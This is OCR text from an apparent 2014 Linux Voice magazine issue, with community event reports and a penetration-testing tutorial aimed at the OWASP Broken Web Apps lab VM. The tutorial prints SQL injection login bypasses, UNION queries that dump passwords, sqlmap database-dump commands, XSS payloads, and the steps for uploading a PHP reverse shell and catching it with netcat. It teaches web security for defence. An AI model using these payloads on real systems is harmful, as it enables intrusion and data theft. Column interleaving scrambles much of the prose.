friendly events rather than women- calendar for groups and events, and
only, that’s what @mcrgirlgeeks is @DefProc, who shared Internet of
all about. Toys with us, along with @Bubblino
A team of four of us girl geeks who got a mention.
set about organising the second,
affectionately named #bracamp Atmosphere
back in January, and saw over As a speaker at various events
100 attendees of all genders fill around the UK, it’s easy to feel when
the Geoffrey Manton building at the atmosphere is right. Everyone
The cake/death conundrum gets easier every time. Look at these
Manchester Metropolitan University on the day was positive, buzzing
entries for the #bakeoff cake competition – Photo by Zoe E Breen.
on 31 May. and chatting with each other. There
It was a full day of “un- were friends being made, contacts and share their projects with the
conference” talks (where attendees being swapped and newbies doing attendees. We had The Raspberry
set the topics), networking, and their first ever talks. There was a Pi Foundation and Manchester
sometimes the most important mix of geeks, event organisers, non- Raspberry Jam, the fabulous
things… brews and cake… lots of geeks and others just interested in ScienceGrrl, and the hacking-all-
cake… crowdsourced cake at that! learning new things. There was a the-things HacMan (Manchester’s
Manchester Girl Geeks regularly great vibe, and I would recommend The team (l–r): Hackspace).
runs dinners and afternoon tea to anyone join. Liz Hardwick, Sam A massive thanks to them, and
parties with different STEM themes, We also got some brilliant Headleand, Katie all our sponsors, but most of all
and some of these topics were seen community groups to come Steckles, Angie Chan. the attendees, who made it such
an awesome event. Hopefully it
goes some way into helping people
realise that girls can be geeks too!
For more info on Manchester Girl
Geeks, check out the website at
http://manchester.girlgeekdinners.
com

TELL US ABOUT YOUR LUG!
We want to know more about your
LUG or hackspace, so please write
to us at lugs@linuxvoice.com and
we might send one of our roving
reporters to your next LUG meeting
A sea of purple t-shirts - Attendees listen to the opening plenary – Photo by Liz Hardwick

16 www.linuxvoice.com
LUGS NEWS

Cambridge Raspberry Jam
Talks and demos and workshops, oh my! By Michael Horne & Tim Richardson.

T
he Cambridge Raspberry included: an introduction to basic
Jam on 10 May was a Pi electronics, soldering, sensors,
pretty epic event. Back programming an Arduino, the
in May last year, we started out PiCamera, the Pibrella and robotics
with 50 people in one room, and concepts such as motor control,
now we’ve grown to be the largest line following and distance sensing,
regular Jam in the country (possibly plus two Minecraft sessions.
the world!) with approximately 200
people attending at the Institute of Pi-powered kit
Astronomy. We also had a show-and-tell
This Jam was very special. We area featuring projects including:
dedicated our lecture theatre to an Easter Bunny chocolate egg
one thing: Focus on Education. dispenser, a Pi-powered Oculus
We invited educators to attend Rift, a prototype of a new robotics
12 sessions showcasing the use kit called Pi2Go and some
of the Raspberry Pi in education, fantastic projects from schools
kicked off by Clive Beale from the – a greenhouse watering system
Fittingly for an
Raspberry Pi Foundation. Topics and a robot arm that followed the For a full report of the event,
education-focused event,
included: the new curriculum, STEM movements of a real arm. including videos of most of the there were lots of kids in
Ambassadors, Code Club, Sonic This was all topped off by our talks, visit http://camjam.me/ attendance.
Pi, FUZE and Basic, the Pibrella, marketplace area featuring vendors May2014.
Minecraft, the Computing at School both long-standing and brand-new. Forthcoming CamJams are on
organisation, Seven Segments of Pi At the end of the day, we were 5 July, 6 September and 6
and general talks on how to inspire surprised at how smoothly it had December, which will feature a
the next generation of computer all gone and how few crises there robotics competition we’re calling
scientists. were. We received some stunningly PiWars! For more details, please
At the same time, we ran good feedback and people visit our website at http://camjam.
10 practical workshops which genuinely seemed to enjoy the day. me and sign up to our mailing list.

OwnCloud gets its own contributor event
Need an excuse to visit Berlin this August? Jos Poortvliet has the perfect one.

W
ith recent revelations existing and prospective OwnCloud
about the NSA – and contributors a place to get together
others – tracking to get work done. Lightning talks,
data, OwnCloud has become a workshops and keynotes give
fast-growing alternative to things everyone the opportunity to share
like Dropbox and Google Docs, what’s going on in OwnCloud and
with close to 2 million users. With learn new skills. We are looking
Owncloud users don’t store their for hardcore programmers but
data on some third-party, hackable also documenters, translators
storage – the data resides on their and testers who are invested in
own hardware. protecting their – and others’ –
privacy. The hackathon will take
Everyone welcome place from 26–31 August, with an
Crucial to OwnCloud’s ability added conference day on Saturday
to appeal to so many users is 30 August that will feature lightning
the open source community of talks and workshops for beginners Help contribute to the best alternative to Google’s hegemony.
contributors that works hard to and new contributors as well as
add OwnCloud features. For the more advanced subjects. than double that number this year.
third straight year, OwnCloud will Last year, the hackathon at The event is free but we ask people
be hosting a Hackthon – same TU Berlin attracted around 50 to register at
as last year, at TU Berlin – to give contributors, and we expect to more http://conference.owncloud.org.

www.linuxvoice.com 17
FEATURE HACK THE WEB

The best way to defend yourself on the web is to know how
the enemy works. Learn to hack the web, and keep your
server safe from the dodgy side of the internet.

Hack safely – do it on VirtualBox

The most valuable tool in the aspiring penetration tester’s Because the virtual machine is riddled with vulnerabilities,
arsenal is a good set of practice sites. These are websites that it’s a good idea to make sure it’s not accessible from other
have known vulnerabilities that you can explore to find where computers. The easiest way of doing this is with host-only
problems are likely to lie. networking. This is a virtual computer network that runs on
There are quite a few out there, and the Open Web the host (ie your PC or laptop), and connects to the virtual
Applications Security Project (OWASP) has gathered some of machine without exposing it to the wider network. To set this
the best ones together in the Broken Web Applications Project up, right-click on the virtual machine you’ve just created, and
(OWASP-BWA) which is a virtual machine file available from select Settings, then go to Network and change Attached To to
http://sourceforge.net/projects/owaspbwa. Host Only Adapter.
If you unzip it (depending on your distro, you many need to
install software that can handle 7z files), you’ll get a new A vulnerable virtual machine
directory containing the files needed for a virtual machine. You now have a vulnerable machine that you can hack away at
VirtualBox is the easiest tool for creating a simulated without exposing yourself to other computers on the network.
computer that you can hack into. It’s in most distro’s After you boot it up, you’ll end up at a login screen. This will tell
repositories. Once VirtualBox is installed, open it and click New you the URL you need to point your browser to in order to
to create a new machine. Give it a name, and set it as Linux, access the vulnerable web apps. In our case it was
Ubuntu. Hit Next twice to accept the default amount of http://192.168.56.101, but it may be different on your
memory. On the Virtual Hard Disk screen, select Use Existing machine.
Hard Disk, then use the directory icon to find the file OWASP There’s loads of really good stuff on the virtual machine, but
Broken Web Apps-cl1.vmdk that you unzipped previously. we’re going to look at just a few bits to get you started. We
Click through Next, and then Create to finish the Virtual strongly encourage you to take more of a look around as
Machine. It should now be ready to start. there’s loads of fun things to try and break into.

18 www.linuxvoice.com
HACK THE WEB FEATURE

Exploit SQL
You don’t need a password to log in when you’ve got 1337 skillz.
The first application we’re going to look at is
called Bricks. It’s a simple web app with a
few examples to demonstrate some of the
basic techniques. Go the URL given on the
login screen of your virtual machine, then
click on OWASP Bricks. The app consists of
a series of bricks that each pose a challenge
to the aspiring web app hacker. They’re split
into three categories (login, file upload and
content) that each tests different skills sets.
To start with, we’re going to take a look at
bypassing login forms. Go to Bricks > Login
Pages > Login #1.
You’re presented with a fairly standard
login page that requests a username and
password. First, just to see what’s going on,
enter the username and password test/test.
This won’t log you in (those credentials are
wrong), but the fail login page will show you
the SQL query used to verify the password.
Even though most websites don’t show
you the SQL they use to check the login,
most password checks on websites work in
roughly the same way. That is, when you
enter your credentials, the system checks to By manipulating some SQL, you can log into a site without having to use a password.
see if they match a row in the database. If
they do, then it logs you in (the password where the name is ‘test’ (this will probably The Login #2 brick includes some
should be hashed, but as you will see, that not match anything) or the name is like ‘%’ JavaScript to check what the user entered
won’t make a difference in this case). (in SQL this matches every string, so every before it sends it to the server to perform the
To log in, we don’t necessarily have to row will be returned) or both ‘1’=’1’ (this is log in attempt. Go to that brick now, and we’ll
enter valid credentials, we just have to enter always true, but it’s only included to use up try to break in. You should find that if you
details that result in this SQL returning one the remaining quote mark that will be added enter the same data as before, you get an
or more rows. after the username field) and the password error message rather than a successful
The system is simply dropping the is ‘test’ (this may or may not return any login. When you request a web page, what
username and password we enter into the rows, it doesn’t matter). you’re actually doing is sending an HTTP
SQL surrounded by quote marks. A simple GET request. This is how your browser tells
way to check if you can manipulate the SQL Validate your data! the server which page it wants. Almost all
is by entering the username: test’ (with just The crucial part of the code that’s returned is the information for the GET request is in the
the one quotation mark) with any password. name like ‘%’. This wildcard match brings address of the page you ask the server for
If the website isn’t stripping special back every row, because it’s surrounded by (there’s also the HTTP header and the cookie
characters out, this will result in an SQL ors. Even though we have no idea what the that can also be exploited by hackers, but we
error, because there will be the wrong username or password are, we’ve still been won’t use them here).
number of quote marks in the query. able to log in. Obviously this is a fairly There are also HTTP POST requests.
This means we can close off the quotes serious problem, and to make sure your These have extra little packets of data that
and inject our own SQL into the statement. login forms don’t fall victim to this sort of are sent along with the address. Either way,
For example, if you enter the username: test’ attack, you need to validate the data the user it’s still data being sent from our computer,
or name like ‘%’ or ‘1’=’1, the server will enters to make sure it doesn’t contain and so we can control it. Ordinary web
execute the following query: malicious code. browsers send POST requests as instructed
SELECT * FROM users WHERE name=’test’ or name
like ‘%’ or ‘1’=’1’ and password=’test’
In MySQL, the and operator is run before
or, so this is equivalent to:
“Even though we have no idea what the username
SELECT * FROM users WHERE name=’test’ or name or password are, we’ve still been able to log in.
like ‘%’ or (‘1’=’1’ and password=’test’)
This will return any entry in the database
Obviously this is a fairly serious problem!”

www.linuxvoice.com 19
FEATURE HACK THE WEB

by the web pages, and don’t have the ability
to manipulate them. This is exactly what’s
supposed to happen in the second login
brick. In this case, some Javascript running
on the web page tries to filter out our
malicious request if you attempt to break in
in the same way you did with the first login
form.
However, while the data’s still on our
computer, we can still manipulate it as long
as we have the right tools for the job. The
simplest one is the Tamper Data extension
for Firefox. To get this, you’ll need to install
Firefox if you haven’t got it already, then go
to Tools > Addons and search for Tamper
Data. Once it’s installed, you’ll need to restart
Firefox.
Navigate back to the Bricks Login #2, and
enter some dummy data into the form (we’ll A good knowledge of obscure SQL is the best way to ensure you get the best information out of an
edit it in a minute), but before you click SQL injection attack, as many sites will volunteer information that makes them vulnerable.
submit, start the Tamper Data session. Go
to Tools > Tamper Data and then click Start to whatever you want. In this case, we’ll tampered with. You can intercept and spoof
Tamper in the new window. This will then change the username to the same value as TCP and UDP packets in the same way we
intercept every HTTP request and give you before, that is: just intercepted the HTTP request.
the opportunity to alter it. Now hit submit in test’ or name like ‘%’ or ‘1’=’1 Absolutely everything must be validated on
the main window, and a pop up will ask you You should now find you get logged in. the server before it’s used in any way that
if you want to tamper with the request. Click could lead to a compromise.
Tamper. There are two sides to the dialog Validate your data!
window that opens. On the left hand side, There’s an important lesson here for any SQL Injection
you’ll see details of the HTTP request aspiring web developers: JavaScript form In the previous example, we managed to
header. These are all changeable, and in validation can be useful to help users enter manipulate the SQL to get the server to log
some penetration tests, it can be useful to the right data, but it has no security value us in. This is a useful trick, but it’s not the
change them (particularly the User-Agent whatsoever. As you’ve just seen, it’s trivially limit of the damage we can do with poorly
and the Cookie), however, we won’t use easy to bypass. This isn’t limited to text validated SQL. If you go to Bricks Content
them. In this exercise, we only need to alter inputs. We could have changed it just as #1, you’ll find another website that takes
the post data which is on the right hand easily had it been a drop-down box, check input from the user and puts it in an SQL
side. Here you should see the username and box, radio buttons, or any other form of query, but this time information is returned
password fields that you entered in the form. input. This also isn’t limited to just websites. to the user.
Since these have already gone past the Whenever you accept data over a network, The intended use of this web page is to
JavaScript checking, you can change them you can never be sure whether it’s been find out information about users on the
system, but since the data is poorly
validated, we can manipulate it to give us
Hacking, cracking and penetration testing
almost anything we want.
Hacking is without a doubt the most common word This additional meaning offends some people who
The underlying code performs an SQL
for breaking electronic security. It’s widely used in feel that the term ‘cracker’ should be used instead.
the mainstream media and within the hacking Cracking’s only common modern usage in a select statement to grab one line of data
community itself. Some people feel that this is similar context is to break a single layer of security from the database, then display three items
counterproductive, and that the word should be (eg to crack DRM). Some people feel it should be from that line on the screen. To subvert this,
reserved for less controversial technological uses. used more widely to describe computer criminals, we’ll use SQL’s union function to add extra
In fact, the word appears to have originated in the but that’s never caught on in mainstream use.
data we want. The union function simply
Tech Model Railway Club at the Massachusetts Penetration testing (or pen testing) is a type of
Institute of Technology (MIT). From there it systems testing that focuses on security. It’s concatenates two tables to make one large
emerged into the new world of computing to mean where people try to find and fix weaknesses before one that includes all the elements from both
someone who uses particular knowledge and skill they’re exploited by bad guys. However, the term tables (or two queries). The only restriction
to solve a challenging technical problem. It still doesn’t solve the nomenclature problem, because we face is that the two tables must have the
retains this meaning, and you’ll often hear people it only refers to people using their skills for good.
same number of columns, so our first task is
referred to as (for example) “kernel hackers” Language is organic, and a word’s etymology
because they apply their technical skill to making doesn’t define its current meaning. There are to find out how many columns are returned
the Linux kernel work better. certainly dialects of English were the word hacker by the first select statement.
Over time, the word has retained its original means something different, particularly those We can find this out by using an order by
meaning, but it’s also come to mean someone who spoken around Silicon Valley and MIT. However, in operation. This can take a column number
breaks into computers. This can either be for good modern British English, it means someone who
as an argument and sort the data by that
(white-hat hacker) or for evil (black-hat hacker). subverts computer security.
column. If we put in a number that’s larger

20 www.linuxvoice.com
HACK THE WEB FEATURE

SQL
The vast majority of websites store information in select name from users where id=1; %, and the group_concat() function. If you’re
relational databases. In these, data is stored in This statement tells the database that you want interested in web application security, it’s essential
tables, where each chunk of data is a row in the all the values from the column name in the table that you get a good grounding in SQL. There are
table. Structured Query Language (SQL) is the most users where id (which is the name of another some great resources on the web to help you learn.
common tool for extracting information from a column) is 1. This is a very simple example. Almost SQL Zoo is a good place to start (http://sqlzoo.net/
relational database. It’s a nuanced language, and all select queries have the same basic structure, but wiki/Main_Page), and Schemaverse (https://
true mastery of it can take a long time, but in the there’s a lot more that can go in than simple schemaverse.com – an online game where you
most basic form of SQL, data is retrieved via a columns, tables and conditions, and you’ll see a few compete entirely in SQL) is a good place to practice
select statement such as: more examples in this article such as the wildcard your skills.

than the number of columns in the data, it’ll User name: 2 http://192.168.56.101/owaspbricks/content-1/index.
throw an error, and we can use this error to E-mail: 3 php?id=-1 union select (SELECT GROUP_
deduce the number of columns. We know This tells us that the page is displaying the CONCAT(password) FROM users), (SELECT GROUP_
there are at least three because the user ID, first three of the eight columns. CONCAT(name) FROM users), (SELECT GROUP_
username and email address are displayed CONCAT(idusers) FROM users),4,5,6,7,8
on the screen, so we can start by entering Target acquired In a secure system, the passwords would
the URL: Now we know the format of the data we be hashed, so wouldn’t be available in plain
http://192.168.56.101/owaspbricks/content-1/index. need, we can start to use this to retrieve data text. This is not a secure system for many
php?id=0 order by 3 from the database. Since we can only reasons.
This doesn’t return any errors (we were retrieve one line at a time, we need to be able
just checking that it worked). You now have to squeeze as much information into that Going automatic
to increase the number 3 to find out the line as possible. That’s why we’re going to The only limits to the number of things you
point at which it errors. So try: use the group_concat() MySQL function, can do is the permissions of the database
http://192.168.56.101/owaspbricks/content-1/index. which can create a single string out of many user, and your SQL skills. In order to make it
php?id=0 order by 3 values. For example, to return all the column really easy to manipulate this sort of SQL
http://192.168.56.101/owaspbricks/content-1/index. names in a particular table as a single string, injection, many people use tools to
php?id=0 order by 4 you can use: automatically perform these attacks. One of
http://192.168.56.101/owaspbricks/content-1/index. select group_concat(column_name) from the best is sqlmap, which is available from
php?id=0 order by 5 information_scheme.columns where table_name = www.sqlmap.org. If you download and
And so on. You should find that it throws ‘users’; unzip this, you’ll find a Python script called
an error when you get to nine. This means In our URL format, this is: sqlmap.py.
that there are eight columns in the data, so http://192.168.56.101/owaspbricks/content-1/index. To test a website for SQL injection, you
whatever we union with the data should php?id=-1 union select (select group_ only need to pass it the URL. For example
also have eight columns. To test this out, try: concat(column_name) from information_schema. run the following in a terminal in the new
http://192.168.56.101/owaspbricks/content-1/index. columns where table_name = ‘users’) ,2,3,4,5,6,7,8 directory created by sqlmap:
php?id=-1 union select 1,2,3,4,5,6,7,8 This isn’t quite perfect, because it will python sqlmap.py -u “http://192.168.56.101/
We entered -1 as the id because we don’t repeat the values, but it does contain all the owaspbricks/content-1/index.php?id=0”
want the original query to return any data. information we need. We can now use When it asks you questions, you can just hit
Since the website only displays one line, we exactly the same trick to retrieve all of the Enter to accept the defaults.
want to make sure that our one line is values of any three columns from the table. After it finishes running (it may take a little
displayed. The page should display: For example, to get the passwords, while), it should tell you that the parameter
User ID: 1 usernames and user IDs, try the URL: id is injectable. The real power of SQLmap
isn’t in detecting SQL injection possibilities,
though, but in exploiting them. For example,
to get the username and passwords of all
database users, run:
python sqlmap.py -u “http://192.168.56.101/
owaspbricks/content-1/index.php?id=0” --users
--passwords
This will retrieve the usernames and
hashed passwords, then perform a
dictionary attack to retrieve the plain text
passwords (this only works on poor
passwords). Alternatively, to just dump all of
the data into a text file for later perusal, try
the following:
python sqlmap.py -u “http://192.168.56.101/
The Tamper Data extension for Firefox lets you control the data you upload, and so bypasses all owaspbricks/content-1/index.php?id=0” --batch -a >
client side-security – so make sure you validate all user input on the server side! /home/ben/database.txt

www.linuxvoice.com 21
FEATURE HACK THE WEB

Automatic vulnerability scanning
Why hack manually when you can automate it?
So far, we’ve looked at how to exploit
vulnerabilities that we’ve known existed, but
we haven’t looked at how to find them.
Practice and experience help this quite a lot,
but there are also some tools that can make
the job easier. One of the most useful for
penetration testing is an attack proxy. This is
an HTTP proxy that acts as an intermediary
between your web browser and the websites
you’re looking at. It intercepts the requests
you make, and logs the responses that you
get from the server. In doing this, it helps you
keep a record of what you’ve done, and what
vulnerabilities you’ve found. This is helpful
as you go along, and it also keeps evidence
of what you’ve done which you can present
to the owner of the website to show exactly
what the vulnerabilities are and how they Zap has a powerful scripting engine that you can use to define new rules for the scans. These could
can be exploited. be used to target specific classes of vulnerabilities or web apps.
Our favourite attack proxy is the Zed
Attack Proxy (ZAP) created by OWASP. It pointing to the right proxy, and hit refresh. will bring up the details of the scan. Here you
isn’t included in many distro’s repositories, As well as recording where you’re can select the site. Next to the site, there’s
so you’ll need to download it from browsing, ZAP can spider a site to find all an icon that looks a little like four sliders on a
http://code.google.com/p/zaproxy/wiki/ the pages. This should give you all the mixing desk. If you click on this it’ll open the
Downloads. It’s written in Java, so you don’t targets to attack. We only want to spider Scan Policy window.
need to compile it; just unzip the TAR Bricks (not all of the web apps on the distro), Here you can tune how the scan runs. The
archive and run zap.sh with: so in the sites pane, highlight owaspbricks first thing to do is turn down the scans for
tar -zxvf ZAP_2.3.0.1_Linux.tar.gz (under Sites > ip-of-virtual-machine), then cross-site scripting. This is a type of
cd ZAP_2.3.0.1 right-click and select Spider Subtree. vulnerability we’ll look at next, but if we leave
./zap.sh it to scan for that here, it’ll stop looking once
This will start the proxy and open a Automatic scanning it finds them on particular pages and not
window showing the data between the web Zap’s best trick is its ability to automatically find the SQL vulnerabilities we’re looking for.
browser and the server, or at least it will once scan for vulnerabilities. Using this feature, Under Injection, change both Cross Site
you set up your browser to go through the you can just point it at a website, set a scan Scripting (Reflected) and Cross Site
proxy. In Firefox you can do this by going to running and see where the security holes Scripting (Persistent) to OFF/Low. Also
Edit > Preferences > Advanced > Network > are. However, the problem with vulnerability under Injection, you can change SQL
Settings and set it to Manual Proxy scanners is that they aren’t as good as Injection to Default/Insane. This will give it
Configuration, with the HTTP Proxy set to experienced pen testers at finding problems, the best chance of finding the vulnerabilities.
localhost on port 8080. and so while they’re a useful tool, they can’t With this done, you can start the scan
Anything you do in the browser will now replace wisdom and experience when it running by right-clicking on owaspbricks (as
be picked up and stored by Zap. Let’s go comes to breaking in. Let’s see how well Zap you did before), and selecting Active Scan
back to Bricks and see how it compares to does when it comes to finding ways to break Subtree. The scan isn’t very subtle. It just
our manual testing. into Bricks. throws lots and lots of test data at the
To get Zap to the right place, just point Before we run the scan, it’s best to change website to try and elicit a response. It’s this
your browser to Login #1 in the Bricks web a few of the defaults to make sure it focuses sort of scan that fills up the error logs on
app. If you switch back to Zap, some entries on the SQL that we’re looking for. At the most internet-facing webservers. It can take
should have appeared in the sites pane. If bottom of the Zap window, there’s a series a little while to complete (possibly over an
they haven’t, make sure your browser is of tabs; the one we need is Active Scan. This hour depending on the power of your
computer), but it shouldn’t need any
intervention, so you can leave it running. To
“Zap’s best trick is its ability to automatically scan see what stage it’s currently at, click on the
Scan Progress icon in the Active Scan tab
for vulnerabilities. You can point it at a website, set (this looks a bit like a oscilloscope).
it running and see where the security holes are.” When it finally finishes, it will flag up all the
issues it finds. The colour of the flags

22 www.linuxvoice.com
HACK THE WEB FEATURE

At a glance: the Zap interface
HTTP request
The contents of the HTTP
request that’s currently
highlighted.

Sites pane
A list of all the contents
that Zap is aware of.

HTTP response
The data that was
returned by the request.

Alerts tab Active scan tab Spider tab
A list of all the vulnerabilities Control the vulnerability Change the way Zap searches
Zap has found. search. for content on the site.

indicate the seriousness of the issue from Alert. Using Zap as a data store means help secure an open source project as it
red (major problem) to yellow (minor you’ve got a record that you can check would be if you’re an aspiring professional
problem) to blue (information). If you click on against as the security bugs are being fixed. penetration tester.
the Alerts tab, you should see all the issues It also enables you to generate a report of all Forced browsing, fuzzing and SSL
it’s found. In this case, it should find two SQL the issues you’ve found (Report Menu > certificates are some of the most useful
injection errors (the ones from contents #1 Generate HTML Report). By keeping features that we haven’t been able to cover.
and contents #2). everything together in this way, it’s easy to Fortunately, the project is well documented,
remember what the problems are, and and there are guides to these features and
Humans are still useful whether they’ve been fixed. This is just as more on the wiki at https://code.google.
It’s impressive that Zap has managed to find important if you’re running some tests to com/p/zaproxy/wiki/Introduction.
a way into this site by itself, but it’s only
found two of the many vulnerabilities in
there. While there are more sophisticated
vulnerability scanners available, none of
them are perfect, so it’s important to pair
them with a real person, who can both check
for false positives and check for anything
that the scanner might have missed.
Aside from the vulnerabilities, let’s look at
what Zap is telling us. When it spidered the
site, it did a good job of digging up all the
different files that were on the server. This
won’t necessarily be perfect (because there
may be files that aren’t linked to anything),
however, it’s a great starting point.
Essentially, it’s given you a list of everywhere
a vulnerability could exist.
As you go through these manually, you
may find vulnerabilities that the scanner
missed. In these cases, Zap can still be
useful as a reporting tool. You can manually
create alerts by right-clicking on the HTTP There’s a full list of all the known vulnerabilities in Mutillidae II. It’s quite long, but exploring them all is
request in the sites pane, then selecting New an excellent step towards mastering the art/science of penetration testing.

www.linuxvoice.com 23
FEATURE HACK THE WEB

Cross-site scripting
Fool users into giving up valuable data.
There are loads of vulnerable projects on the
Broken Web Apps live distro, and all of them
are worth a look to help you improve your
web app hacking. However, one stands out
as having far more vulnerabilities to play
with than any of the others: Mutillidae II. The
design of this is focused on the OWASP top
10, which is an annual list of the 10 most
common web app vulnerabilities; if you can
work your way through all of the
vulnerabilities, you’ll have a good
understanding of most web security issues.
There are far too many for us to go through
them all here, but we will have a look at one
more: Cross Site Scripting (XSS).
This is similar to the SQL injection attacks
we looked at in Bricks, but instead of
injecting SQL, we inject HTML (or, more
The BodgeIt store is riddled with vulnerabilites. See how you can exploit them to make money!
commonly, JavaScript). In doing so, we
aren’t attacking the site, but the visitors to
the site. For example, open the IP of the the post data. The page visited is much other attacks we’ve done. After all, we
virtual machine in your browser, then go to easier, as it just returns whatever you put in haven’t been able to extract data from the
OWASP Mutillidae II, and in the left-hand the page parameter in the URL. server. The point of this is to try to subvert
menu, select OWASP Top 10 > A2 Cross Site The most common way to check for XSS the visitors. This could be in a number of
Scripting > Persistent (Second Order) > is by inserting a JavaScript alert. This makes ways. For example, you could insert a form
Show Log. it easy to see if something’s been injected, asking users to enter their usernames and
This website is a simple log file viewer. It because it pops up when you visit the page. passwords that submits the data to your
shows a list of which people have visited For example, if you browse to the site: site, or you could use it as a platform to
which pages, and when. None of this comes http://192.168.56.101/mutillidae/index.php?page=<s launch an attack that surreptitiously installs
directly from user input in the same way that cript>alert(‘Hello’);<script> malware onto the unsuspecting browser. It
it did with the SQL attacks we did (though Now visit the log page. You should get a could also include JavaScript to
there are certainly XSS attacks that work in pop up saying “Hello”. For true internet automatically redirect the browser to
this way). Instead we have to get a little points, though, you might want to try visiting another site.
creative here. the URL: This attack works because the web app
http://192.168.56.101/mutillidae/index. has a page parameter that takes the
Manipulate the users php?page=<iframe width=1500 height=1000 src= “// filename of the page they want to view. It
There are two pieces of data that we as a www.youtube.com/embed/YSDOcLfwM- then surrounds this page with the header
user can control: the user agent and the I?autoplay=1” frameborder=”0” allowfullscreen></ bar, side menu and footer to create a
page visited. You can control the user agent iframe> consistent site across a range of pages.
using the Tamper Data Firefox extension in The reason for this sort of attack (other However, this particular implementation has
exactly the same way that we used it to alter than pranks) may not be as clear as the a bug in it – it processes files as PHP
regardless of how they were uploaded, or
where they were uploaded to. This can give
Legalities
an attacker control of the system.
Breaking into websites without permission is projects’ individual websites for details of how to
illegal, and in many countries the potential submit vulnerabilities).
penalties should you get caught defy reason. A few companies also offer responsible people
Install a reverse shell
There’s also no excuse, as there are loads of legal the chance to try to find vulnerabilities on their In Mutillidae II, go to Others > Unrestricted
ways to get your hacking fix. There are all the web websites, and some even offer bounties should you File Upload > File Upload. This presents you
apps on the OWASPBWA distro, plus there’s our find any. For example, take a look at Facebook’s with a file upload form. We know that we
hacking challenge (see boxout, right). program here: www.facebook.com/whitehat. can execute a PHP file anywhere on the
Once you’re done with that, why not install some If that’s not enough to encourage you to stay on
system, so we just need a file that can allow
open source webapps on to a virtual machine and the right side of the law, there’s a list of convicted
try to find weaknesses? The maintainers will computer criminals on Wikipedia (http://en. us to take control: we need a reverse shell.
undoubtedly be glad to hear of anything you find wikipedia.org/wiki/List_of_computer_criminals) This is technique where we get the server to
provided you report it in the proper way (see the complete with their sentences. communicate with our computer, but we
take control, sort of like SSH, but in reverse.

24 www.linuxvoice.com
HACK THE WEB FEATURE

One of the best reverse shells for PHP is
available from http://pentestmonkey.net/
More fun things to practice on
tools/web-shells/php-reverse-shell. If you The Broken Web Apps live distro is packed full of DVWA is one of the most popular apps for
download this and unzip it, you’ll find a file opportunities to gain skills. A quick click around introducing different areas of vulnerabilities, and
the homepage will give you a good idea of what it a good option to move onto after you’ve
called php-reverse-shell.php. When
you can do, but we’ve listed our three favourites conquered Bricks. It’s simple and direct, and
executed, this creates a reverse shell below. If you get stuck on any of them, there are introduces the major areas of web app security.
connection with any computer of your loads of tutorials on YouTube that should help you The old version of WordPress is a good chance
choice, so the first thing to set up is the IP move along. to practice your skills on real code rather than
address for it to connect to. Open it with a Hackxor is a game that brings together many code that’s been designed to be vulnerable. In
web app hacking skills in a narrative. To fact, once you’ve got an idea of what you’re
test editor, and change the line:
advance, you’ll have to break into different doing, all the old software on the OwaspBWA
$ip = ‘127.0.0.1’; // CHANGE THIS services to get different bits of information. VM is a great proving ground.
So that 127.0.0.1 is replaced with the IP
address of your computer (the IP address
for vboxnet – you should be able to find this port 1234: This tells you where it is, so if you point
out with the ifconfig command). The nc -l 1234 your browser to http://192.168.56.101/
second thing you need to do is make your You can now go back to your web mutillidae/index.php?page=/tmp/php-
computer listen for the incoming browser and upload the file using the reverse-shell.php it will execute the PHP.
connection. This is easiest to do with the nc upload form. Once it’s successfully This should give you shell access to the
command (this should be in your distro’s uploaded, you should see a new page server through the nc command – from
repositories). Run the following command, containing the line: where you can issue commands as if you
which listens for incoming connections on File moved to /tmp/php-reverse-shell.php were the legitimate owner of the server.

Xxxxx xxx xxxxxx xxx xxxx xxx xxxx xxxx
COMPETITION
Hack our server, help Moodle, win kudos/prizes

I
t’s time to put your new-found skills to installation of Moodle on a real Linux We plan to run the contest from 29 June
the test. Linux Voice has teamed up with system. As such, there are a few rules we 2014 to 8 July, but we reserve the right to
Bytemark Hosting and Moodle to try and need you to follow: finish the contest early (even if the prizes
find vulnerabilities in the Moodle online Only the server hackthis.linuxvoice.com haven’t been claimed) should we feel that it’s
course web app. For up-to-date information is included in the contest. Attacking any in the best interests of either LinuxVoice or
on everything, keep an eye on other machine, (including other Linux our hosting providers. As with everything,
www.linuxvoice.com/hackattack. Voice machines) is strictly forbidden. This keep an eye on www.linuxvoice.com/
We’ve selected Moodle because there are includes spear phishing attacks. Not only hackattack for the latest information.
a lot of different inputs, which leaves plenty will you disqualify yourself from the
of space for potential vulnerabilities to hide. contest, but in extreme cases, we may
It’s also a mature project that’s already been pass on details to the police.
well tested, so finding vulnerabilities won’t The server should not be used to as an
be easy. However, even the most secure intermediary in any further attacks on
projects have a few chinks in their armour. other servers.
Your task is to find them. Keep it clean! We’ll remove any offensive
There will be three different winners: messages that appear on the website.
The person who submits the most Responsibly disclose any vulnerabilities
security bugs to the Moodle bug tracker you find. We understand that you may
(only bugs that are verified will count). To well feel proud should you find a
be eligible for this, email ben@linuxvoice. vulnerability, but please remember that
com with a list of the vulnerabilities you’ve this version of Moodle is running on real
discovered by 10 July 2014. servers around the world, and the
There’s a file called steal-me somewhere developers need time to investigate and
in the web root (/var/www). It contains a fix any issues that come up before they’re
series of instructions. The first person to announced to the public. Please submit
follow those instructions will win. bugs through the proper channels (see
There’s a file called steal-me somewhere www.linuxvoice.com/hackattack), and
outside the web root. Whoever follows the work with the Moodle security team to The Linux Voice winner’s T-shirt is only
instructions contained in it first will win. pick the best time to let the world know available to winners of LV competitions.
This isn’t a simulation – it’s a real how it worked once a fix has been issued. Get hacking for your chance to win!

www.linuxvoice.com 25
FEATURE NETHACK

THE

BEST GAME
OF ALL TIME
It’s tremendously addictive. It takes a lifetime to master.
And people play it for decades without completing it.
Mike Saunders explores the strange world of NetHack…

B
elieve it or not, it’s possible to be terrified by requirements are absolutely minimal. Now, given that
the sight of the letter D. Or ecstatic about the it looks like utter pants when compared to modern
sight of a % character. (And the less said games, what makes NetHack so appealing? Well, this
about ^, the better.) But before you assume we’ve dungeon-exploring masterpiece is incredibly rich and
gone totally loopy, those characters represent detailed. There are so many items to discover, spells
dragons, food rations and traps respectively. to cast, monsters to fight and tricks to learn – and
Welcome to NetHack, where your imagination needs the dungeons are generated randomly. There’s so
to play a big role in the gameplay. much to explore, and no two games are ever the
You see, NetHack is a text-mode game: it just uses same. People play NetHack for years and decades
the standard terminal character set to portray the without completing it, still discovering new secrets
player, enemies, items and surroundings. Graphical each time.
versions of the game exist, but NetHack purists tend Over the next few pages we’ll show you how
to avoid them – what’s the point of a game if you NetHack came about, give you a guided tour of the
can’t play it when you’re SSHed into your revived dungeons, and show you some tricks. Note: by
Amiga 3000 running NetBSD? reading this feature, you agree to not sue us when
